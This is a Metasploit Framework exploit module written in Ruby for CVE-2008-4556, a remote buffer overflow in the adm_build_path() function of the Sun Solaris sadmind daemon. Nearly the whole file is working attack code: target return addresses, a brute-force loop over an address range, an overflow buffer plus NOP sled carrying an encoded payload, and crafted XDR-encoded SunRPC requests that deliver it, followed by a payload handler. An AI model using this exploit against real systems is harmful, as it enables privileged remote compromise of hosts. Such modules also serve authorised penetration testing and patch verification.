Solaris sadmind adm_build_path - Remote Buffer Overflow (Metasploit)

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::SunRPC
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Sun Solaris sadmind adm_build_path() Buffer Overflow',
			'Description'    => %q{
			This module exploits a buffer overflow vulnerability in adm_build_path()
		function of sadmind daemon.

		The distributed system administration daemon (sadmind) is the daemon used by 
		Solstice AdminSuite applications to perform distributed system administration 
		operations.

		The sadmind daemon is started automatically by the inetd daemon whenever a 
		request to invoke an operation is received. The sadmind daemon process 
		continues to run for 15 minutes after the last request is completed, unless a 
		different idle-time is specified with the -i command line option. The sadmind 
		daemon may be started independently from the command line, for example, at 
		system boot time. In this case, the -i option has no effect; sadmind continues 
		to run, even if there are no active requests.
			},
			'Author'         =>
				[
					'Adriano Lima <adriano@risesecurity.org>',
					'ramon',
				],
			'Version'        => '$Revision$',
			'Arch'           => ARCH_X86,
			'Platform'       => 'solaris',
			'References'     =>
				[
				    	['CVE', '2008-4556'],
					['OSVDB', '49111'],
					['URL', 'http://risesecurity.org/advisories/RISE-2008001.txt'],
				],
			'Privileged'     => true,
			'License'        => MSF_LICENSE,
			'Payload'        =>
				{
					'Space' => 1024,
					'BadChars' => "\x00",
				},
			'Targets'       =>
				[
					[
						'Sun Solaris 9 x86 Brute Force',
						{
							'Arch'       => [ ARCH_X86 ],
							'Platform'   => 'solaris',
							'Nops'       => 1024 * 32,
							'Bruteforce' =>
								{
									'Start' => { 'Ret' => 0x08062030 },
									'Stop'  => { 'Ret' => 0x08072030 },
									'Step'  => 1024 * 30,
								}
						}
					],
					[
						'Sun Solaris 9 x86',
						{
							'Nops'       => 1024 * 4,
							'Bruteforce' =>
								{
									'Start' => { 'Ret' => 0x08066a60 + 2048 },
									'Stop'  => { 'Ret' => 0x08066a60 + 2048 },
									'Step'  => 1,
								}
						}
					],
					[
						'Debug',
						{
							'Nops'       => 1024 * 4,
							'Bruteforce' =>
								{
									'Start' => { 'Ret' => 0xaabbccdd },
									'Stop'  => { 'Ret' => 0xaabbccdd },
									'Step'  => 1,
								}
						}
					],
				],
			'DefaultTarget' => 0
		))

	end

	def brute_exploit(brute_target)
		sunrpc_create('udp', 100232, 10)

		unless @nops
			print_status('Creating nop block...')
			if target['Nops'] > 0
				@nops = make_nops(target['Nops'])
			else
				@nops = ''
			end
		end

		print_status("Trying to exploit sadmind with address 0x%.8x..." % brute_target['Ret'])

		hostname = 'localhost'

		# buf1 = rand_text_alpha(1017) + [brute_target['Ret']].pack('L')
    buf1 = "A" * 1017 + [brute_target['Ret']].pack('L')
		buf2 = @nops + payload.encoded

		header =
			XDR.encode(0) * 7 +
			XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10, \
				4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0, \
				hostname, 'system', rand_text_alpha(16))

		body =
			do_int('ADM_FW_VERSION', 1) +
			do_string('ADM_LANG', 'C') +
			do_string('ADM_REQUESTID', '00009:000000000:0') +
			do_string('ADM_CLASS', 'system') +
			do_string('ADM_CLASS_VERS', '2.1') +
			do_string('ADM_METHOD', buf1) +
			do_string('ADM_HOST', hostname) +
			do_string('ADM_CLIENT_HOST', hostname) +
			do_string('ADM_CLIENT_DOMAIN', '') +
			do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
			do_int('ADM_FENCE', 0) +
			do_string('X', buf2) +
			XDR.encode('netmgt_endofargs')

		request = header + XDR.encode(header.length + body.length - 326) + body

		begin
			# two seconds timeout for brute force
			sunrpc_call(1, request, 2)
		rescue Rex::Proto::SunRPC::RPCTimeout
			print_good('Server did not respond, this is expected')
		end

		sunrpc_destroy
		handler
	end

	def do_string(str1, str2)
		XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
	end

	def do_int(str, int)
		XDR.encode(str, 3, 4, int, 0, 0)
	end

end